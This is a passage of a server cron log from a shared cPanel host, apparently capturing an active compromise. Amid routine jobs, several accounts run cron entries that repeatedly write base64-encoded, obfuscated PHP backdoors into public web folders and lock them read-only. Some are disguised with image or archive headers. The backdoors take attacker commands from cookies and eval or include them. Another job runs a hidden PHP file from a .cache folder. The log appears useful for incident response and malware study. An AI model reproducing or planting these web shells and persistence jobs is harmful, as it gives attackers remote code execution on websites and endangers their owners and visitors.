"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:37:02 medusa CROND[18328]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:38:01 medusa CROND[9908]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:38:01 medusa CROND[9946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:38:01 medusa CROND[9947]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 08:38:01 medusa CROND[9948]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:38:01 medusa CROND[9949]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:38:01 medusa CROND[9950]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:38:01 medusa CROND[9951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:38:01 medusa CROND[9954]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:38:01 medusa CROND[9955]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:38:01 medusa CROND[9957]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:38:01 medusa CROND[9960]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:38:01 medusa CROND[9961]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:38:01 medusa CROND[9962]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:39:01 medusa CROND[2086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:39:01 medusa CROND[2087]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:39:01 medusa CROND[2088]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:39:01 medusa CROND[2089]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:39:01 medusa CROND[2090]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 19 08:39:01 medusa CROND[2091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:39:01 medusa CROND[2092]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 08:39:01 medusa CROND[2093]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:39:01 medusa CROND[2100]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:39:01 medusa CROND[2104]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
